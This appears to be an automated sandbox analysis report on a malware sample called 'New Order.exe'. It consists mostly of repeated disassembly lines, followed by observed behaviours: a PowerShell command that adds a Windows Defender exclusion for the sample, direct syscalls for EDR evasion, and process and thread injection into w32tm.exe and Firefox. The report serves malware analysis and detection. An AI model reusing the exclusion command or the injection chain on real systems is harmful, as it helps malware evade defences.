Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01800887 mov eax, dword ptr fs:[00000030h]	8_2_01800887
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0188C89D mov eax, dword ptr fs:[00000030h]	8_2_0188C89D
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0182E8C0 mov eax, dword ptr fs:[00000030h]	8_2_0182E8C0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018D08C0 mov eax, dword ptr fs:[00000030h]	8_2_018D08C0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018CA8E4 mov eax, dword ptr fs:[00000030h]	8_2_018CA8E4
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0183C8F9 mov eax, dword ptr fs:[00000030h]	8_2_0183C8F9
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0183C8F9 mov eax, dword ptr fs:[00000030h]	8_2_0183C8F9
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0188C810 mov eax, dword ptr fs:[00000030h]	8_2_0188C810
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018A483A mov eax, dword ptr fs:[00000030h]	8_2_018A483A
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018A483A mov eax, dword ptr fs:[00000030h]	8_2_018A483A
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0183A830 mov eax, dword ptr fs:[00000030h]	8_2_0183A830
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01822835 mov eax, dword ptr fs:[00000030h]	8_2_01822835
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01822835 mov eax, dword ptr fs:[00000030h]	8_2_01822835
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01822835 mov eax, dword ptr fs:[00000030h]	8_2_01822835
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01822835 mov ecx, dword ptr fs:[00000030h]	8_2_01822835
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01822835 mov eax, dword ptr fs:[00000030h]	8_2_01822835
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01822835 mov eax, dword ptr fs:[00000030h]	8_2_01822835
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01812840 mov ecx, dword ptr fs:[00000030h]	8_2_01812840
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01830854 mov eax, dword ptr fs:[00000030h]	8_2_01830854
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01804859 mov eax, dword ptr fs:[00000030h]	8_2_01804859
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01804859 mov eax, dword ptr fs:[00000030h]	8_2_01804859
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01896870 mov eax, dword ptr fs:[00000030h]	8_2_01896870
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01896870 mov eax, dword ptr fs:[00000030h]	8_2_01896870
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0188E872 mov eax, dword ptr fs:[00000030h]	8_2_0188E872
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0188E872 mov eax, dword ptr fs:[00000030h]	8_2_0188E872
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_017FCB7E mov eax, dword ptr fs:[00000030h]	8_2_017FCB7E
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018B4BB0 mov eax, dword ptr fs:[00000030h]	8_2_018B4BB0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018B4BB0 mov eax, dword ptr fs:[00000030h]	8_2_018B4BB0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01810BBE mov eax, dword ptr fs:[00000030h]	8_2_01810BBE
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01810BBE mov eax, dword ptr fs:[00000030h]	8_2_01810BBE
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01820BCB mov eax, dword ptr fs:[00000030h]	8_2_01820BCB
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01820BCB mov eax, dword ptr fs:[00000030h]	8_2_01820BCB
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01820BCB mov eax, dword ptr fs:[00000030h]	8_2_01820BCB
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01800BCD mov eax, dword ptr fs:[00000030h]	8_2_01800BCD
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01800BCD mov eax, dword ptr fs:[00000030h]	8_2_01800BCD
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01800BCD mov eax, dword ptr fs:[00000030h]	8_2_01800BCD
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018AEBD0 mov eax, dword ptr fs:[00000030h]	8_2_018AEBD0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01808BF0 mov eax, dword ptr fs:[00000030h]	8_2_01808BF0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01808BF0 mov eax, dword ptr fs:[00000030h]	8_2_01808BF0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01808BF0 mov eax, dword ptr fs:[00000030h]	8_2_01808BF0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0188CBF0 mov eax, dword ptr fs:[00000030h]	8_2_0188CBF0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0182EBFC mov eax, dword ptr fs:[00000030h]	8_2_0182EBFC
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0187EB1D mov eax, dword ptr fs:[00000030h]	8_2_0187EB1D
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0187EB1D mov eax, dword ptr fs:[00000030h]	8_2_0187EB1D
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0187EB1D mov eax, dword ptr fs:[00000030h]	8_2_0187EB1D
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0187EB1D mov eax, dword ptr fs:[00000030h]	8_2_0187EB1D
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0187EB1D mov eax, dword ptr fs:[00000030h]	8_2_0187EB1D
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0187EB1D mov eax, dword ptr fs:[00000030h]	8_2_0187EB1D
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0187EB1D mov eax, dword ptr fs:[00000030h]	8_2_0187EB1D
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0187EB1D mov eax, dword ptr fs:[00000030h]	8_2_0187EB1D
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0187EB1D mov eax, dword ptr fs:[00000030h]	8_2_0187EB1D
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0182EB20 mov eax, dword ptr fs:[00000030h]	8_2_0182EB20
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0182EB20 mov eax, dword ptr fs:[00000030h]	8_2_0182EB20
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018C8B28 mov eax, dword ptr fs:[00000030h]	8_2_018C8B28
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018C8B28 mov eax, dword ptr fs:[00000030h]	8_2_018C8B28
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018B4B4B mov eax, dword ptr fs:[00000030h]	8_2_018B4B4B
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018B4B4B mov eax, dword ptr fs:[00000030h]	8_2_018B4B4B
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018A8B42 mov eax, dword ptr fs:[00000030h]	8_2_018A8B42
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01896B40 mov eax, dword ptr fs:[00000030h]	8_2_01896B40
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01896B40 mov eax, dword ptr fs:[00000030h]	8_2_01896B40
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018CAB40 mov eax, dword ptr fs:[00000030h]	8_2_018CAB40
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018AEB50 mov eax, dword ptr fs:[00000030h]	8_2_018AEB50
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0180EA80 mov eax, dword ptr fs:[00000030h]	8_2_0180EA80
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0180EA80 mov eax, dword ptr fs:[00000030h]	8_2_0180EA80
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0180EA80 mov eax, dword ptr fs:[00000030h]	8_2_0180EA80
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0180EA80 mov eax, dword ptr fs:[00000030h]	8_2_0180EA80
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0180EA80 mov eax, dword ptr fs:[00000030h]	8_2_0180EA80
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0180EA80 mov eax, dword ptr fs:[00000030h]	8_2_0180EA80
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0180EA80 mov eax, dword ptr fs:[00000030h]	8_2_0180EA80
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0180EA80 mov eax, dword ptr fs:[00000030h]	8_2_0180EA80
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0180EA80 mov eax, dword ptr fs:[00000030h]	8_2_0180EA80
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018D4A80 mov eax, dword ptr fs:[00000030h]	8_2_018D4A80
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01838A90 mov edx, dword ptr fs:[00000030h]	8_2_01838A90
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01808AA0 mov eax, dword ptr fs:[00000030h]	8_2_01808AA0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01808AA0 mov eax, dword ptr fs:[00000030h]	8_2_01808AA0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01856AA4 mov eax, dword ptr fs:[00000030h]	8_2_01856AA4
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01856ACC mov eax, dword ptr fs:[00000030h]	8_2_01856ACC
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01856ACC mov eax, dword ptr fs:[00000030h]	8_2_01856ACC
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01856ACC mov eax, dword ptr fs:[00000030h]	8_2_01856ACC
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01800AD0 mov eax, dword ptr fs:[00000030h]	8_2_01800AD0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01834AD0 mov eax, dword ptr fs:[00000030h]	8_2_01834AD0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01834AD0 mov eax, dword ptr fs:[00000030h]	8_2_01834AD0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0183AAEE mov eax, dword ptr fs:[00000030h]	8_2_0183AAEE
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0183AAEE mov eax, dword ptr fs:[00000030h]	8_2_0183AAEE
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0188CA11 mov eax, dword ptr fs:[00000030h]	8_2_0188CA11
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0183CA24 mov eax, dword ptr fs:[00000030h]	8_2_0183CA24
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0182EA2E mov eax, dword ptr fs:[00000030h]	8_2_0182EA2E
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01824A35 mov eax, dword ptr fs:[00000030h]	8_2_01824A35
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01824A35 mov eax, dword ptr fs:[00000030h]	8_2_01824A35
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0183CA38 mov eax, dword ptr fs:[00000030h]	8_2_0183CA38
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01806A50 mov eax, dword ptr fs:[00000030h]	8_2_01806A50
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01806A50 mov eax, dword ptr fs:[00000030h]	8_2_01806A50
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01806A50 mov eax, dword ptr fs:[00000030h]	8_2_01806A50
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01806A50 mov eax, dword ptr fs:[00000030h]	8_2_01806A50
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01806A50 mov eax, dword ptr fs:[00000030h]	8_2_01806A50
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01806A50 mov eax, dword ptr fs:[00000030h]	8_2_01806A50
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01806A50 mov eax, dword ptr fs:[00000030h]	8_2_01806A50
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01810A5B mov eax, dword ptr fs:[00000030h]	8_2_01810A5B
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01810A5B mov eax, dword ptr fs:[00000030h]	8_2_01810A5B
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018AEA60 mov eax, dword ptr fs:[00000030h]	8_2_018AEA60
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0183CA6F mov eax, dword ptr fs:[00000030h]	8_2_0183CA6F
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0183CA6F mov eax, dword ptr fs:[00000030h]	8_2_0183CA6F
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0183CA6F mov eax, dword ptr fs:[00000030h]	8_2_0183CA6F
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0187CA72 mov eax, dword ptr fs:[00000030h]	8_2_0187CA72
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0187CA72 mov eax, dword ptr fs:[00000030h]	8_2_0187CA72
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018D4DAD mov eax, dword ptr fs:[00000030h]	8_2_018D4DAD
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018C8DAE mov eax, dword ptr fs:[00000030h]	8_2_018C8DAE
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018C8DAE mov eax, dword ptr fs:[00000030h]	8_2_018C8DAE
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01836DA0 mov eax, dword ptr fs:[00000030h]	8_2_01836DA0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0183CDB1 mov ecx, dword ptr fs:[00000030h]	8_2_0183CDB1
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0183CDB1 mov eax, dword ptr fs:[00000030h]	8_2_0183CDB1
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0183CDB1 mov eax, dword ptr fs:[00000030h]	8_2_0183CDB1
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01828DBF mov eax, dword ptr fs:[00000030h]	8_2_01828DBF

Source: C:\Users\user\Desktop\New Order.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\New Order.exe

Memory allocated: page read and write | page guard

Adds a directory exclusion to Windows Defender

HIPS / PFW / Operating System Protection Evasion

Source: C:\Users\user\Desktop\New Order.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\New Order.exe"
Source: C:\Users\user\Desktop\New Order.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\New Order.exe"			Jump to behavior

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe	NtResumeThread: Direct from: 0x773836AC	Jump to behavior
Source: C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe	NtMapViewOfSection: Direct from: 0x77382D1C	Jump to behavior
Source: C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe	NtWriteVirtualMemory: Direct from: 0x77382E3C	Jump to behavior
Source: C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe	NtProtectVirtualMemory: Direct from: 0x77382F9C	Jump to behavior
Source: C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe	NtSetInformationThread: Direct from: 0x773763F9	Jump to behavior
Source: C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe	NtCreateMutant: Direct from: 0x773835CC	Jump to behavior
Source: C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe	NtNotifyChangeKey: Direct from: 0x77383C2C	Jump to behavior
Source: C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe	NtSetInformationProcess: Direct from: 0x77382C5C	Jump to behavior
Source: C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe	NtCreateUserProcess: Direct from: 0x7738371C	Jump to behavior
Source: C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe	NtQueryInformationProcess: Direct from: 0x77382C26	Jump to behavior
Source: C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe	NtResumeThread: Direct from: 0x77382FBC	Jump to behavior
Source: C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe	NtWriteVirtualMemory: Direct from: 0x7738490C	Jump to behavior
Source: C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe	NtAllocateVirtualMemory: Direct from: 0x77383C9C	Jump to behavior
Source: C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe	NtReadFile: Direct from: 0x77382ADC	Jump to behavior
Source: C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe	NtAllocateVirtualMemory: Direct from: 0x77382BFC	Jump to behavior
Source: C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe	NtDelayExecution: Direct from: 0x77382DDC	Jump to behavior
Source: C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe	NtQuerySystemInformation: Direct from: 0x77382DFC	Jump to behavior
Source: C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe	NtOpenSection: Direct from: 0x77382E0C	Jump to behavior
Source: C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe	NtQueryVolumeInformationFile: Direct from: 0x77382F2C	Jump to behavior
Source: C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe	NtQuerySystemInformation: Direct from: 0x773848CC	Jump to behavior
Source: C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe	NtReadVirtualMemory: Direct from: 0x77382E8C	Jump to behavior
Source: C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe	NtCreateKey: Direct from: 0x77382C6C	Jump to behavior
Source: C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe	NtClose: Direct from: 0x77382B6C
Source: C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe	NtAllocateVirtualMemory: Direct from: 0x773848EC	Jump to behavior
Source: C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe	NtQueryAttributesFile: Direct from: 0x77382E6C	Jump to behavior
Source: C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe	NtSetInformationThread: Direct from: 0x77382B4C	Jump to behavior
Source: C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe	NtTerminateThread: Direct from: 0x77382FCC	Jump to behavior
Source: C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe	NtQueryInformationToken: Direct from: 0x77382CAC	Jump to behavior
Source: C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe	NtOpenKeyEx: Direct from: 0x77382B9C	Jump to behavior
Source: C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe	NtAllocateVirtualMemory: Direct from: 0x77382BEC	Jump to behavior
Source: C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe	NtDeviceIoControlFile: Direct from: 0x77382AEC	Jump to behavior
Source: C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe	NtCreateFile: Direct from: 0x77382FEC	Jump to behavior
Source: C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe	NtOpenFile: Direct from: 0x77382DCC	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\New Order.exe

Memory written: C:\Users\user\Desktop\New Order.exe base: 400000 value starts with: 4D5A

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\New Order.exe	Section loaded: NULL target: C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Section loaded: NULL target: C:\Windows\SysWOW64\w32tm.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\w32tm.exe	Section loaded: NULL target: C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\w32tm.exe	Section loaded: NULL target: C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\w32tm.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\w32tm.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\w32tm.exe

Thread register set: target process: 1708

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\w32tm.exe

Thread APC queued: target process: C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe

Source: C:\Users\user\Desktop\New Order.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\New Order.exe"	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Process created: C:\Users\user\Desktop\New Order.exe "C:\Users\user\Desktop\New Order.exe"	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Process created: C:\Users\user\Desktop\New Order.exe "C:\Users\user\Desktop\New Order.exe"	Jump to behavior
Source: C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe	Process created: C:\Windows\SysWOW64\w32tm.exe "C:\Windows\SysWOW64\w32tm.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\w32tm.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: XVZmwHdSYwx.exe, 0000000D.00000002.4633352473.0000000000DB1000.00000002.00000001.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 0000000D.00000000.2407699735.0000000000DB0000.00000002.00000001.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000000.2558639122.00000000014C0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: IProgram Manager
Source: XVZmwHdSYwx.exe, 0000000D.00000002.4633352473.0000000000DB1000.00000002.00000001.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 0000000D.00000000.2407699735.0000000000DB0000.00000002.00000001.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000000.2558639122.00000000014C0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: XVZmwHdSYwx.exe, 0000000D.00000002.4633352473.0000000000DB1000.00000002.00000001.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 0000000D.00000000.2407699735.0000000000DB0000.00000002.00000001.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000000.2558639122.00000000014C0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: XVZmwHdSYwx.exe, 0000000D.00000002.4633352473.0000000000DB1000.00000002.00000001.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 0000000D.00000000.2407699735.0000000000DB0000.00000002.00000001.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000000.2558639122.00000000014C0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\New Order.exe	Queries volume information: C:\Users\user\Desktop\New Order.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
